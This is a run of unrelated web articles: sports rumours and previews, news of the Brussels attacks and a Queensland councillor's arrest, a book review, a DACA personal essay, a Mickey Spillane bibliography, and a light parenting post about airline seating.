Committee Chairman John Conyers, a Democrat, said he was "shocked" that the FBI's refusal to coerce suspects during interrogations was not followed by the CIA or Pentagon
"The FBI deserves credit for those standards," Conyers said, "but they should be followed by all federal government agencies, not just the FBI."It's been rumored the Jacksonville Jaguars will be after Seattle Seahawks linebacker Bruce Irvin in free agency next week and he's adding fuel to that fire by following Dante Fowler, Allen Hurns, a handful of fans (and us) on Twitter.
Last night is when Irvin started following Fowler.
Then he started following us.
The plot thickens. pic.twitter.com/r49VvsdqsV — Big Cat Country (@BigCatCountry) March 2, 2016
And now this morning he's following a number of players, reporters, and fans.
Irvin could slot right into the OTTO/SLB role on the Jaguars defense as an overall upgrade and a pass rusher on obvious passing downs. Irvin can play the run and is good enough in coverage. It's expected he'll end up with either the Atlanta Falcons or the Jaguars, both of which are coached by his former defensive coordinators.
Does it mean anything has been finalized? No, not really. Could it be a new free agency tactic and a way to build public support for a signing that everyone knows is all but signed on the dotted line? Possibly.
Will Bruce Irvin get boat loads of cash to come play the OTTO linebacker position in Jacksonville? Stay tuned."If you realized how powerful your thoughts are, you would never think a negative thought."
Peace Pilgrim: Her Life and Work in Her Own Words.
Peace Pilgrim's message was a simple one. "I shall remain a wanderer until mankind has learned the way of peace."
At the height of the Korean War on January 1, 1953, Peace Pilgrim set off on a pilgrimage across the United States. She carried petitions for peace. Her aim was to end war and violence. Her aim was to help people attain inner peace.
She wore a
"If you realized how powerful your thoughts are, you would never think a negative thought."
Peace Pilgrim: Her Life and Work in Her Own Words.
Peace Pilgrim's message was a simple one. "I shall remain a wanderer until mankind has learned the way of peace."
At the height of the Korean War on January 1, 1953, Peace Pilgrim set off on a pilgrimage across the United States. She carried petitions for peace. Her aim was to end war and violence. Her aim was to help people attain inner peace.
She wore a navy blue shirt and pants, and a short tunic with pockets all around. In those pockets were her only possessions. A comb, a folding toothbrush, a ballpoint pen, copies of her message and some letters. She lived simply, never begging for food or shelter. She would only accept food or a place to stay if people willingly gave them to her. And they did. In the beginning it was random strangers she told her message of peace to. Eventually, she was sought after, giving talks about peace and people constantly approaching her or waiting until she walked through their state.
When she counted miles, she'd stay on highways to keep track of how far she walked. She walked over 25,000 miles, through all fifty states, parts of Mexico and all 10 provinces of Canada. Arrested multiple times for being a 'vagrant', almost freezing to death during a snowstorm, thrown into multiple risky situations, Peace Pilgrim was a woman unlike any other with a message that continues to be timeless, especially as wars and violence continue to penetrate into our world.
The book I read was compiled by friends of hers. Included was the story of her life and her steps toward inner peace, as well as newspaper clippings and letters from people who knew her.
She touches on habits of anger, fear, and worry. She touches on the idea that problems are necessary a lot. That without problems, we cannot grow and mature. That in order to become who we need to be, we need to solve and overcome life's problems. That they're a vital part of human life.
"Every good thing you do, every good thing you say, every good thought you think, vibrates on and on and never ceases. The evil remains only until it is overcome by the good, but the good remains forever."
Peace Pilgrim was a phenomenal woman and her message will never be forgotten.Kenzo Tribouillard, AFP | People hold a banner reading 'Je suis Bruxelles' (I am Brussels) in tribute to victims of the March 22, 2016 attack in Paris
Belgium was in mourning Tuesday after a series of explosions struck Brussels's Zaventem airport and a city metro station earlier in the day, killing 31 people and wounding more than 200. To see how the day's events unfolded, read our live blog.
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Two explosions tore through the departure hall at Brussels Zaventem airport, killing 11 people.
About an hour after the airport attack, an explosion struck Maelbeek metro station near the EU headquarters, killing at least 20 people.
The Islamic State group has claimed responsibility for the attacks.
Belgian Prime Minister Charles Michel has condemned the “blind, violent and cowardly acts”, calling it a “black day” for the country.
The Belgian government has raised the terror threat to the highest level.
Brussels is in a state of lockdown with all transportation services, including metros, trains and bus services suspended. Zaventem airport has been shut down and flights have been diverted.
The blasts come days after Paris attacks suspect Salah Abdeslam was arrested in the Molenbeek district of the Belgian capital.
To see how the day's events unfolded, read our liveblog below.
Click here to view our liveblog on your smartphone or tablet computer.Share. Crackdown 3, Fable Legends, Forza Horizon, Sunset Overdrive also mentioned. Crackdown 3, Fable Legends, Forza Horizon, Sunset Overdrive also mentioned.
Exit Theatre Mode
An alleged Microsoft insider has revealed what the future holds for Xbox One, listing a range of upcoming titles for the console and when they're scheduled to release.
The report comes from the same source on NeoGAF that claimed the company was looking into releasing a number of new Xbox One consoles, including a limited edition Titanfall model and the white employee-only version.
Please note that none of the below statements have been confirmed by Microsoft. IGN has reached out to try and verify what we can, but until then do not take any of the below as fact.
Exit Theatre Mode
The source claims that Halo 2 Anniversary is in the works for Xbox One and will be released on November 11 this year in two special editions. The first will be a standard Collector's Edition that comes with beta access to Halo 5 and a Halo TV series (not the one rumoured to be directed by Neill Blomkamp). The second is a War Collection, which supposedly comes with everything from the Collector's Edition as well as Xbox One ports of Halo 3 and Halo 4.
Elsewhere, the source claims that we're unlikely to see anything of Crackdown 3 this year but it's on the way, scheduled for release in 2016. A new Forza Horizon is meant to come autumn of this year, along with Sunset Overdrive, while Quantum Break will be out at Christmas.
2015 will allegedly see Fable Legends in summer and also the release of Halo 5 following beta in November 2014 (this is interesting, as last we heard Halo 5 was still on track for release this year). The insider also revealed that Black Tusk Studios will probably need two and a half years to produce a new Gears of War game, and the team's cancelled project was supposedly called "Shangheist". Titanfall DLC is meant to be coming 45 days after release, then another batch 120 days after release.
Exit Theatre Mode
We're working to verify all of this with Microsoft as fast as we can and will update the story as soon as we know more. The poster has been verified by NeoGAF but, even so, that doesn't mean the information he is giving is accurate. Take it all with a massive pinch of salt for now.
Luke Karmali is IGN's UK Junior Editor. You too can revel in mediocrity by following him on Twitter.Hi everyone, Bryan Here….
Sacha Baron Cohen who brought Borat to life has a new trick up his sleeve. He will be starring in ‘Mandrake the Magician‘ for Warner Bros., which is an adaptation off the old comic strip. Etan Cohen (not of the Coen Bros.), but of ‘Get Hard‘ and ‘Tropic Thunder‘ fame will direct the film. This project does not currently have a finished script and no other actors have been cast yet, but I suspect these announcements will come soon enough.
If you don’t remember or are not familiar with ‘Mandrake the Magician‘, this was a newspaper comic strip by Lee Falk from the 1930s, and followed a magician who had the power to hypnotize people very quickly. His sidekick was named Lothar and was an African strongman, and the duo fought crime and evil villains and even monsters. Mandrake also had a twin brother, or shall I say evil twin brother, so it isn’t out of the question that Cohen will play both parts. There have been a few iterations of this comic strip, but nothing rally got off the ground or was remembered.
At one point in the early 2000s, according to THR, Hayden Christensen and Jonathan Rhys Meyers was attached to the project. Etan Cohen is already hard at work prepping a remake of ‘Cannonball Run‘ and will work on this film at the same time. I think Sacha Baron Cohen is a great actor, and I think he will be much needed life to his character, so I look forward to this project. I just hope it keeps its steam rolling this time around and shows us something we really haven’t seen before in magician movies.When our league should be doing everything in its power to market a new season the silence is deafening, writes Duncan McKay
The opening weekend of the SPFL season is upon us. For many of us, opening weekend is a glorious time. Everyone is equal. For those moments before the whistle blows at 3pm, your team is perfect. The possibilities are endless. It is a day that requires pageantry and build-up. Opening Weekend is a huge possibility for the SPFL which it continually doesn’t leverage.
I had a look at the SPFL’s twitter account yesterday there was not a single visible tweet suggesting that the SPFL league season was kicking off in less than 100 hours’ time.
It’s a small example but it points to a larger problem. No pinned tweet, no promotional video, no bold league imagery. Earlier in the day Chief Executive Neil Doncaster had talked about “real box office” appeal of the SPFL this season. In which case, he’s built a ticket hut but forgot about constructing the rest of the theatre.
There’s been no build up to the start of the season. Why aren’t there billboards in prominent towns and cities throughout Scotland? Why is one of the few promotional videos of the SPFL from last season a parody video from Paddy Power? Why did the new BBC deal that the SPFL signed not include a magazine show during the week? A 30 minute show that sells the next set of fixtures, promotes the wider game, promotes the personalities involved, promotes the individuals behind the scenes, and promotes the great work that many of our clubs do in the community. Scottish football is an exciting product. But if the league can’t bring itself to tell people that, why would the fans?
I have sympathy for the communications team at SPFL. They aren’t given the tools, resources and budget to sell the game. And ultimately, that’s what we’re talking about: selling the game. The clubs continue to plough their own furrow, but that has limited appeal.
Neil Doncaster has built a ticket hut and forgot about the rest of the theatre.
Yesterday the SPFL held a ‘Captain’s Day’. How do I know this? Because media outlets covered it. Not the SPFL itself. That’s not credible in 21st century sports. EPL, NFL, MLB, MLS & the NBA are all building their brand because they realise that the game is bigger than the clubs. Even the Northern Ireland Football League recognises that. The video above sells Northern Irish football in a way I haven’t seen Scottish football contemplate.
Scottish football has one huge advantage over others: a history like no other. So there are real opportunities to play on this. Why not inaugurate new traditions? Why not stipulate that the Championship winners will open each new season on the Friday night with a home fixture when they are presented with the league flag? Similarly, close the weekend with a Sunday fixture where the reigning Premiership title holders are presented with their flag. Why not involve fans by having Neil Doncaster present them with the flag at Hampden that’s then transferred to their home ground? By creating totem events, we create a unique, marketable event, which should in turn, make them more desirable to fans.
The issue is that there are plenty of passionate and talented people who love Scottish football who are locked out of it by those in charge. This detachment from the product, especially when it’s been run poorly, causes resentment and ultimately apathy. That’s the real danger for the SPFL.
READ MORE - Rumour Mill: Celtic face fight for McNair | Dundee reject Stewart bid | Barton ‘will stroll Old Firm game’
Click here for the latest results, fixtures and stats>>>
DOWNLOAD THE SCOTSMAN APP ON ITUNES OR GOOGLE PLAYCan Lasers Zap Away Addiction?
Scientists have found they can zap away cocaine addiction with lasers, although so far only in rats. By inhibiting neural activity, scientists were able to switch addictive impulses off—and on—with laser lights aimed at the prefrontal cortex of the rats' brains. "When we turn on a laser light in the prelimbic region of the prefrontal cortex, the compulsive cocaine seeking is gone," says Antonello Bonci, MD, UCSF, in a press release. The results of the new study, published in the journal Nature, are the first to prove the link between activity in a certain region of the brain, and addictive behavior. "This is the first study to show a cause-and-effect relationship between cocaine-induced brain deficits in the prefrontal cortex and compulsive cocaine-seeking," says lead study author Billy Chen, PhD, author from the National Institute on Drug Abuse (NIDA). "These results provide evidence for a cocaine-induced deficit within a brain region that is involved in disorders characterized by poor impulse control, including addiction." As of now, the lasers have only been tested on rats, but scientists are planning for human trials which will use electromagnetic stimulation—instead of lasers—on the brain. They hope to achieve the same results. "This exciting study offers a new direction of research for the treatment of cocaine and possibly other addictions," says NIDA director Nora D. Volkow, MD. "We already knew, mainly from human brain imaging studies, that deficits in the prefrontal cortex are involved in drug addiction. Now that we have learned how fundamental these deficits are, we feel more confident than ever about the therapeutic promise of targeting that part of the brain."Welcome to How Glasgow Flourished!
In 2014 Kelvingrove Museum hosted the How Glasgow Flourished, 1714-1837 exhibition and conference, where academics delivered talks on various themes relating to the blossoming growth of Glasgow in this period.
Through these 10-15 minute podcasts, our collected experts – from University professors to independent Historians – cover a range of topics within the 18th and 19th centuries. These include slavery, women and work, immigration and local and national politics. Many of the talks are suitable for use in the National 5 and Higher History courses, and have been indicated as such on their page. They have been split into sections for easier use in the classroom, or you can choose to listen to the podcast in its entirety.
All of the talks relate to objects that are viewable in Glasgow Museums, and while we have provided pictures to accompany the talks, the pieces deserve to be seen in the flesh. Entry is free to members of the public. If you missed the exhibition, or just enjoy these podcasts, there is an accompanying book Introducing Georgian Glasgow (available in all good stockists) and now a free app also called How Glasgow Flourished for your Apple mobiles and tablets which maps the city in this period using period objects, prints, paintings and archaeological finds.
This project would not have existed without the help of the Royal Society of Edinburgh, and we are indebted to them for their funding.
Our aim is to provide a website that will help people learn about the history of Scotland through podcasts and we hope we have delivered! This project was developed by Dr Anthony Lewis (Curator of Scottish History, Glasgow Life Museums) and Professor Simon Newman (University of Glasgow), with help from Mr Nelson Mundell (University of Glasgow). The Research Workshop from which the project originated was funded by the Royal Society of Edinburgh.
© 2016 Glasgow City Council and Glasgow Museums ALL RIGHTS RESERVEDToday is Cole Hamels Day for the Rangers, and for the Blue Jays it’s Marcus Stroman Day. Blue Jays batters have mustered a career.303/.357/.500/857 line against Cole Hamels and most of the Rangers lineup doesn’t have more than a small handful of at bats against Stroman, and nobody on the team has faced him this year. This matchup isn’t exactly a heavyweight pitchers duel, but it could shape up to be a low scoring affair if recent splits are the trend. Hamels is an ace, and Stroman has shown lately that he has ace stuff. This game should come down to starting pitching, and whichever starter can go deepest into the game is likely to walk out of Toronto with a tally in the win column.
At this writing, Game 2 has a lot of unanswered questions. Will Adrian Beltre play? The Rangers have flown Joey Gallo and Ed Lucas to Toronto in case they’re needed. Will Jose Bautista play? He left Thursday’s game with a calf tightness. Will Josh Donaldson play? He’s been undergoing concussion protocol as a victim of Rougned Odor‘s knee. We’ll find out the answers to those questions shortly before game time, but we’ll presume (unwisely) for the sake of this article that each of those players will be in the lineup.
It’s worth noting that if Beltre’s injury is serious enough that he needs to be replaced on the roster, than he will miss the rest of this series AND all of the ALCS so you can bet the Rangers, and Beltre, will do everything possible to keep him on the field.
Pitching matchup: Cole Hamels vs Marcus Stroman
For the season: 12 games with Texas – 3.66 ERA, 23 BB, 78 K, 3.79 FIP, 1.195 WHIP. 20 games with Philly – 3.64 ERA, 39 BB, 139 K, 3.27 FIP, 1.181 WHIP.
Post-season career: 2007 NLDS, 2008 NLDS, NLCS (MVP), WS (MVP), 2009 NLDS, NLCS, WS, 2010 NLDS, NLCS, 2011 NLDS – 7-4, 3.09 ERA, 81.2 IP.
Against the 2015 Blue Jays: Hasn’t faced the Blue Jays so far in 2015.
Key match-ups vs. Hamels: Troy Tulowitzki – 15 career AB,.333/.353/.867/1.220, 2 HR, 4 RBI Edwin Encarnacion – 14 career AB,.357/.438/.571/1.009, 1 HR, 1 RBI Russell Martin – 18 career AB,.278/.316/.444/.760, 1 HR, 2 RBI
The Keys: Cole Hamels is a difference maker. He’s a workhorse. The Rangers won 10 straight games he started, only having lost his first two starts as part of an AL team. Hamels has the postseason experience, having been part of five straight Phillies playoff teams and two straight World Series teams, even having won the 2008 NLCS and World Series MVP awards. If the Rangers bats can score enough runs to stretch the Hamels win streak to 11, they will take a 2-0 ALDS lead over the team literally every expert picked to win the series. It’s been reported that Josh Donaldson passed his concussion protocol and is likely to start Game 2, and he’s never faced Hamels. Other than Donaldson, the Blue Jays starting lineup will bring a cumulative career slash of.303/.357/.500/.857 into Friday morning’s game. But in October baseball, in the playoffs, Cole Hamels is a different pitcher. In his career, Hamels has a 3.09 ERA, 1.053 WHIP during postseason games versus his 3.31 ERA, 1.147 WHIP for his entire career. If Hamels can be Hamels and do his thing, the Blue Jays shouldn’t be able to scratch out much offense.
For the season: 4-0, 1.67 ERA, 6 BB, 18 K, 3.54 FIP, 0.963 WHIP
Post-season career: Has never played in the post-season.
Against the 2015 Texas Rangers: Hasn’t faced the Rangers so far in 2015.
Key Match-ups: Josh Hamilton – 2 AB,.500/.500/.500/1.000 Adrian Beltre – 3 AB,.333/.333/.333/.667
The keys: The only two Rangers batters with hits against Marcus Stroman in his short career are Josh Hamilton and Adrian Beltre, but the tiny sample size is effectively irrelevant. Stroman only pitched in four games in 2015, and he won all of them, all of which came against AL East competition (Orioles and Yankees). In 2014, Stroman went 11-6 but missed almost the entire 2015 season after a torn ACL early in the offseason. If Stroman is able to hold down Texas’ bats like he did against the powerful Yankees lineup, the Rangers aren’t going to fare as well as they did against David Price in Game 1.
X-Factors
For both: Again, the bullpen. In 2015, the Blue Jays bullpen has been mediocre at best, accounting for an ERA of 3.62 after the All Star Break, while the Rangers bullpen posted a league best 2.05 ERA in September. However, in Thursday’s Game 1 the Blue Jays bullpen didn’t give up anything except a lone 8th inning walk Brett Cecil issued to Mike Napoli. Cecil has been almost unhittable in the 2nd half, especially against left handed batters. It will be up to Rangers righties to get on base against the left handed setup man. Opposite Cecil in the 8th is likely to be Jake Diekman, who carries his post-trade 2.08 ERA into the ALDS, and has been a thorn in the side of right handed batters, so much so, that they have only hit.212 against him this season.
American League Division Series Game 2: Texas Rangers @ Toronto Blue Jays
October 9, 2015. 12:45 PM EST/11:45 AM CST
Cole Hamels (13-8, 3.65 ERA) vs. Marcus Stroman (4-0, 1.67 ERA)
TV: MLB Network in Texas, SNET in Canada
Radio: 105.3 FM The Fan in Texas, SN590 in Toronto, ESPN Radio nationally
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RelatedDuring the summer of 2012, I was working an unpaid communications internship in Tallahassee, Florida, with no hopes of ever getting a job that would put my college education to some use. It was not due to laziness, the economy, or unwillingness to seek a job in my preferred field. It was because I was undocumented.
All of that would change on June 15, 2012, a Friday, when I received a personal call from a White House staffer who told me to turn on the television. President Barack Obama was making his announcement regarding “DREAMers,” or young immigrants who arrived to the United States as children but lacked a legal immigration status. I had spent the past several years advocating for the program, so she wanted to tell me herself.
“I hope you understand that this program will benefit you, your brothers, and other immigrants like you,” the voice on the phone said. “Please apply, recruit others to apply as well. All we ask is that you protect people from being scammed by notarios or fraudulent lawyers.”
The staffer was referring to a new program the White House was announcing to temporarily shield DREAMers from deportation and grant them a work permit and a driver’s license. This was the Deferred Action for Childhood Arrivals program, or DACA, a program that has allowed me to live without the constant fear of deportation for the past five years. My life would change overnight.
And now, under President Donald Trump, the program could be taken away from me and close to 800,000 other DACA beneficiaries. After waffling on whether to sunset the program, Trump may cave in to pressure from several Republican state officials who are threatening to sue the administration if they do not end the program by September 5.
I am a longtime Florida resident, the oldest of three brothers, and a two-time graduate of Florida State University. I am also an undocumented immigrant who considers myself American in all ways but one — on paper.
A life in the shadows before DACA
My family and I came to the United States in 2000, shortly after Hugo Chavez became president of Venezuela. My parents had the foresight to predict the current chaos engulfing the oil-rich nation, which is why they left their family, belongings, and home in exchange for a chance to pursue the American dream. I was 11 years old.
My family’s hopes of eventually becoming US citizens were dashed in 2006 when we discovered that our immigration attorney mishandled our case. Never mind that my family spent six years and thousands of dollars waiting in the infamous “line” immigrants are often told to get in — a line conjured in the minds of Americans from old images of Ellis Island but, in today’s world, does not actually exist.
Nor did it matter that my parents had started to build a business of their own and paid taxes. It did not matter that they sent me and my younger brothers to public school in Miami-Dade and Broward County and that as young children, this country was our home. No. The only thing that mattered to the government was that my family could face deportation due to our lack of a couple of papers.
I was 17 years old when our immigration case crumbled. My life changed swiftly. Anxiety quickly set in as part of my daily routine. Everything that I did, whether it was work or academics, always carried the weight of uncertainty that came with being undocumented.
I carried big worries on my shoulders day in and out. Was I really going to school for a degree that I might be unable to use in the future due to my lack of status? Would my savings account come with me if I was deported from the United States? Then there were the everyday threats: fear of getting arrested, detained, and deported for doing something as simple as driving without a driver’s license.
In 2007, after watching my mother cry inside a college admissions office when she discovered that our immigration status meant paying off my college would be a paralyzing financial burden, I became an immigration advocate.
For the past 10 years, I have fearlessly and unapologetically advocated for the rights of the immigrant community. I have helped organize sit-ins inside congressional offices in support of the Dream Act, legislation that would allow young immigrants like myself to obtain a legal and permanent immigration status in the United States. I have collected hundreds of thousands of signatures denouncing Donald Trump’s anti-immigration policies and attacks, a clear expression of my First Amendment right of free speech. And I have lobbied for in-state tuition for undocumented students in Florida, an effort that earned Florida Gov. Rick Scott’s personal recognition back in 2014.
I am proud of my work as an immigration advocate, mainly because it has allowed me to overcome my fear of being deported, but also because it has allowed me to help families across the United States deal with the depression that comes with being undocumented.
However, I am even prouder of the obstacles I have been able to overcome as an undocumented immigrant.
Ending DACA would disrupt the lives of nearly a million young immigrants
The Deferred Action for Childhood Arrivals program, which was announced by President Obama in 2012, provided nearly 800,000 young people with the opportunity to live free from the fear of deportation. It also gave to them a sense of freedom, providing work permits and driver’s licenses for these young immigrants.
I have had the opportunity to meet so many wonderful DACA beneficiaries throughout my years as an immigration advocate. My friend Reyna Montoya is a local organizer in Arizona and a 2016 Soros Justice Fellow. Thanks to DACA, Reyna was able to teach high school students and participate in the Teach for America program. And just like Reyna, there are countless other young immigrants who have shown incredible passion and ambition for a variety of causes.
There is Yuriana Aguilar, an undocumented postdoc who is leading cardiovascular research at University of California, Merced, thanks to DACA. And there is Denise Rojas, a DACA beneficiary and student medical student at Icahn School of Medicine at Mount Sinai who was awarded Soros Fellowship for New Americans last year.
I remember feeling a sense of relief when my work permit arrived in February 2013. My DACA had just been approved, and all I could think about was the amount of possibilities that would be immediately available to me. I would be able to go to school without fear of deportation, get a paying job with benefits, and feel like my life had purpose once again — no longer was I bound by the fear and anxiety that plagued me for years. Now, even if for two-year intervals at a time, I would be able to seek out new and better opportunities to improve myself and my community.
That freedom that young undocumented immigrants have enjoyed for the past five years has yielded significant gains for the United States. Thanks to DACA, young immigrants have been able to pursue higher education, have started their own businesses, while others continue to work and contribute back to their communities. All of these young people are aspiring Americans, who are working day and night to make use of their temporary deportation protection to give back to, not take from, the country they call home.
My parents took a great risk for my future. It’s what families do. My family and I do not have a pathway toward citizenship, not today, tomorrow, or ever. That is why DACA is so important.
Ending DACA means disrupting the lives of almost a million people. Every single DACA beneficiary would be stripped of the ability to live in a normal life, from meeting financial obligations like mortgages to driving without fear. They’ll also become potential targets of Donald Trump’s aggressive deportation tactics.
Right now, DACA beneficiaries, often known as DREAMers, enrich this country with their talents, culture, and determination. All they want is for this country to allow them to work and study without using them as targets for deportation or prey for the white supremacists who wish to see them sent back to a country that they do not know.
Juan Escalante is an undocumented immigrant and DACA beneficiary. He loves pineapple on pizza, black coffee, and public radio. You may find him taking photos around Tallahassee, Florida, whenever he is not advocating for immigration policies at the state or national level. Find him on Twitter at @JuanSaaa.
This article is adapted from an open letter originally published on Medium.
First Person is Vox's home for compelling, provocative narrative essays. Do you have a story to share? Read our submission guidelines, and pitch us at firstperson@vox.com.Fugitive Queensland councillor arrested by police
Updated
Sorry, this video has expired Video: Logan Councillor Black released on bail (7pm TV News QLD)
Queensland police have arrested Local City councillor Hajnal Black who was wanted over an outstanding warrant.
Black, 34, was detained at Bellbowrie in Brisbane's west.
She later appeared in court where she applied for bail.
The application was not opposed, with the conditions that she provide a surety, live at her home at New Beith and report to police daily.
Black's next court appearance was scheduled for Tuesday.
She was charged last year under the Local Government Act with breaches of disclosure laws.
A warrant was issued for her arrest last week after she failed to show up to for an appearance at Beenleigh Magistrates Court.
The magistrate was due to hand down his decision on the matters.
They relate to a bank account and property that is subject to other court proceedings brought by the Public Trustee.
The account is held jointly by Black and a 65-year-old man for whom she previously held power of attorney.
Topics: law-crime-and-justice, courts-and-trials, local-government, logan-central-4114, |
1984 interview."[11] Two Mike Danger comic-book stories were published in 1954 without Spillane's knowledge, as well as one featuring Mike Lancer (1942). These were published with other material in "Byline: Mickey Spillane," edited by Max Allan Collins and Lynn F. Myers, Jr. (Crippen & Landru publishers, 2004).
The Mike Hammer series proved hugely successful during the 1950s-60s, but the books were excoriated by the literary establishment. Malcolm Crowley of The New Republic called Spillane "a dangerous paranoid, sadist, and masochist" and even his own editors sometimes found his novels distasteful. Spillane for his part was unmoved by critics, saying "You can sell a lot more peanuts than caviar" and "The literary world is made of second rate writers writing about other second rate writers". Attractively low prices (25 cents for a paperback copy, later raised to 50 cents) helped sales, and the 1956 informative guide Sixty Years of Best Sellers found that the six novels Spillane had written up to that point were among the top ten best selling American fiction titles of all time.
The Signet paperbacks displayed dramatic front cover illustrations. Lou Kimmel created the cover paintings for My Gun Is Quick, Vengeance Is Mine, One Lonely Night and The Long Wait. The cover art for Kiss Me, Deadly was by James Meese.
Novels [ edit ]
Tiger Mann [ edit ]
1964 Day of the Guns
1965 Bloody Sunrise
1965 The Death Dealers
1966 The By-Pass Control
Morgan the Raider [ edit ]
1967 The Delta Factor
2011 The Consummata - completed by Max Allan Collins
Other novels [ edit ]
List of short stories [ edit ]
1989 The Killing Man - Mike Hammer short story later turned into a full length Mike Hammer novel published in Playboy magazine December 1989, later republished in the book Byline: Mickey Spillane in 2004 (Crippen & Landru)
- Mike Hammer short story later turned into a full length Mike Hammer novel published in magazine December 1989, later republished in the book in 2004 (Crippen & Landru) 1996 Black Alley - Mike Hammer short story later turned into a full length Mike Hammer novel published in Playboy magazine December 1996, later republished in the book Byline: Mickey Spillane in 2004 (Crippen & Landru)
- Mike Hammer short story later turned into a full length Mike Hammer novel published in magazine December 1996, later republished in the book in 2004 (Crippen & Landru) 1998 The Night I Died - Mike Hammer short story published in the anthology Private Eyes - although story was written in 1953, was not published until 1998
- Mike Hammer short story published in the anthology - although story was written in 1953, was not published until 1998 2003 Primal Spillane: Early Stories 1941-1942 - With an introduction by Collins and Lynn F. Myers, Jr. - published by Gryphon Books.
- With an introduction by Collins and Lynn F. Myers, Jr. - published by Gryphon Books. 2004 The Duke Alexander - Mike Hammer short story published in the book Byline: Mickey Spillane first published in 2004 (Crippen & Landru), although it was originally written circa 1956
- Mike Hammer short story published in the book first published in 2004 (Crippen & Landru), although it was originally written circa 1956 2008 The Big Switch - Mike Hammer short story; completed by Max Allan Collins - published in The Strand Magazine, reprinted in paperback in The Mammoth Book of the World's Best Crime Stories, 2009
- Mike Hammer short story; completed by Max Allan Collins - published in, reprinted in paperback in, 2009 2009 I'll Die Tomorrow - (illustrated, limited edition of the short story) (Posthumous) (with Collins)
- (illustrated, limited edition of the short story) (Posthumous) (with Collins) 2010 A Long Time Dead - Mike Hammer short story; completed by Collins - published in The Strand Magazine
- Mike Hammer short story; completed by Collins - published in 2010 Grave Matter - Mike Hammer short story; completed by Collins - published in Crimes By Moonlight, ed. Charlaine Harris
- Mike Hammer short story; completed by Collins - published in, ed. Charlaine Harris 2012 Skin - Mike Hammer e-book short story; completed by Collins
- Mike Hammer e-book short story; completed by Collins 2013 So Long, Chief - Mike Hammer short story; completed by Collins - published in The Strand Magazine, Issue XXXIX, Feb. - May 2013
- Mike Hammer short story; completed by Collins - published in, Issue XXXIX, Feb. - May 2013 2014 It's In The Book - Mike Hammer e-book short story; completed by Collins
- Mike Hammer e-book short story; completed by Collins 2015 Fallout - Mike Hammer short story; completed by Collins - published in The Strand Magazine
- Mike Hammer short story; completed by Collins - published in 2016 A Dangerous Cat - Mike Hammer short story; completed by Collins - published in The Strand Magazine, Issue XLVIII, Feb. - May 2016
- Mike Hammer short story; completed by Collins - published in, Issue XLVIII, Feb. - May 2016 2016 A Long Time Dead: A Mike Hammer Casebook - a collection of short stories by Mickey Spillane and Collins - published by Mysteriouspress.com/Open Road (This collection reprints the stories The Big Switch, A Long Time Dead, Grave Matter, So Long, Chief, Fallout, A Dangerous Cat, Skin (first time in print format), and It's In The Book (first time in print format))
- a collection of short stories by Mickey Spillane and Collins - published by Mysteriouspress.com/Open Road (This collection reprints the stories,,,,,, (first time in print format), and (first time in print format)) 2018 Primal Spillane: Early Stories 1941-1942 - with an introduction by Collins and Myers - revised and expanded edition features an additional 13 stories, and the previously unpublished children's adventure short story "A Turn of the Tide." - although written circa 1950, it was not published until 2018 - published by Bold Venture Press.
Acting [ edit ]
Spillane portrayed himself as a detective in Ring of Fear (1954), and rewrote the film without credit for John Wayne's and Robert Fellows' Wayne-Fellows Productions. The film was directed by screenwriter James Edward Grant. Several Hammer novels were made into movies, including Kiss Me Deadly (1955). In The Girl Hunters (1963) filmed in England, Spillane himself appeared as Hammer, one of the few occasions in film history in which an author of a popular literary hero has portrayed his own character. Spillane was scheduled to film The Snake as a follow-up, but the film was never made.[13]
On October 25, 1956, Spillane appeared on The Ford Show, Starring Tennessee Ernie Ford, with interest on his Mike Hammer novels.[14] In January 1974, he appeared with Jack Cassidy in the television series Columbo in the episode Publish or Perish. He portrayed a writer who is murdered.[15]
In 1969, Spillane formed a production company with Robert Fellows who had produced The Girl Hunters to produce many of his books, but Fellows died soon after and only The Delta Factor was produced.[16]
During the 1980s, he appeared in Miller Lite beer commercials.[17] In the 1990s, Spillane licensed one of his characters to Tekno Comix for use in a science-fiction adventure series, Mike Danger. In his introduction to the series, Spillane said he had conceived of the character decades earlier but never used him.[11]
Reception [ edit ]
When literary critics had a negative reaction to Spillane's writing, citing the high content of sex and violence, Spillane answered with a few terse comments: "Those big-shot writers could never dig the fact that there are more salted peanuts consumed than caviar... If the public likes you, you're good." Early reaction to Spillane's work was generally hostile: Malcolm Cowley dismissed the Mike Hammer character as "a homicidal paranoiac",[18] John G. Cawelti called Spillane's writing "atrocious",[18] and Julian Symons called Spillane's work "nauseating".[18] By contrast, Ayn Rand publicly praised Spillane's work at a time when critics were almost uniformly hostile. She considered him an underrated if uneven stylist and found congenial the black-and-white morality of the Hammer stories. She later publicly repudiated what she regarded as the amorality of Spillane's Tiger Mann stories.
Spillane's work was later praised by Max Allan Collins, William L. DeAndrea[2] and Robert L. Gale.[18] DeAndrea argued that although Spillane's characters were stereotypes, Spillane had a "flair for fast-action writing", that his work broke new ground for American crime fiction, and that Spillane's prose "is lean and spare and authentically tough, something that writers like Raymond Chandler and Ross Macdonald never achieved".[2] German painter Markus Lüpertz claimed that Spillane's writing influenced his own work, saying that Spillane ranks as one of the major poets of the 20th century. American comic book writer Frank Miller has mentioned Spillane as an influence for his own hardboiled style. Avant-Garde musician John Zorn composed a piece influenced by Spillane's writing titled Spillane.
See also [ edit ]
References [ edit ]
Further reading [ edit ]A 31-year-old man is making a huge public fuss over the fact that a flight attendant on a major airline asked him to move his seat away from an unaccompanied 10-year-old girl. He's saying the airplane embarrassed him and made people think he was a pedophile. How childish of him. This is not the first time someone (usually a man) has pulled the discrimination card on these airline policies. But really, they should just shut up about it. As a parent, I think this policy is an excellent one for protecting kids. As a passenger, this is an even excellenter policy, because who wants to sit next to a kid on a plane when you absolutely don't have to.
Hopefully when you are on a plane, you are going somewhere relaxing to get away from kids of any kind. I mean, we love our precious little snowflakes and all, but let's be real -- some parent is putting their unaccompanied minor on that plane for a reason.
There is maybe only one perk to sitting next to little kids on a plane, and that is that they are usually pretty small. There is nothing worse than getting a seat next to a pleasantly plump person whose legs overflow the arm rests into your personal territory -- that you paid for. (Alright, maybe two perks. If kids are sitting next to you, then they aren't sitting behind you constantly kicking your seat, with you constantly craning your neck back at them with your annoyed "stop it" face on.)
But other than that, there are really nothing but negatives.
-- Too-loud iPods bleeding through their ear buds
-- All that fidgeting
-- Gum chomping
-- Constantly asking the flight attendant for something -- crunchy snacks, to go to the bathroom for the 15th time, to shut the overhead air thing off, can I have a pillow?
Man, feels like I never even left home.
